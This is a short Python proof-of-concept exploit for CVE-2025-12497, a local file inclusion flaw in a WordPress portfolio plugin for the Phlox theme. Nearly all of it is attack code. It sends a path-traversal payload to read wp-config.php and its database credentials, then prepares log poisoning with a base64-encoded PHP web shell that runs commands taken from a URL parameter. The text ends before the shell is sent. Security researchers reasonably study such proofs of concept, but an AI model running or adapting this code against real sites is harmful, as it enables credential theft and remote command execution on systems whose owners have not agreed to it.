CVE-2025-12497

import requests import base64 # CVE-2025-12497 LFI PoC # Target: Premium Portfolio Features for Phlox theme plugin # Vulnerability: Local File Inclusion via args[extra_template_path] target_url = "http://target-wordpress-site.com/" # Step 1: Read sensitive file (wp-config.php) print("[*] Testing LFI vulnerability...") lfi_payload = "../../../../wp-config.php" params = { "args[extra_template_path]": lfi_payload } try: response = requests.get(target_url, params=params, timeout=10) if "DB_NAME" in response.text or "define" in response.text: print("[+] LFI confirmed! Sensitive file contents retrieved.") print(response.text[:500]) except requests.RequestException as e: print(f"[-] Request failed: {e}") # Step 2: Try to execute code via log poisoning # Encode webshell in base64 to bypass filters webshell = "<?php if(isset($_GET['cmd'])){ system($_GET['cmd']); } ?>" encoded_webshell = base64.b64encode(webshell.encode()).decode() log_poison_payload = f"../../../../../../var/log/apache2/access.log" params_poison = { "args[extra_template_path]": log_poison_payload } print(f"[*] Attempting log poisoning with encoded shell: {encoded_webshell[:30]}...")

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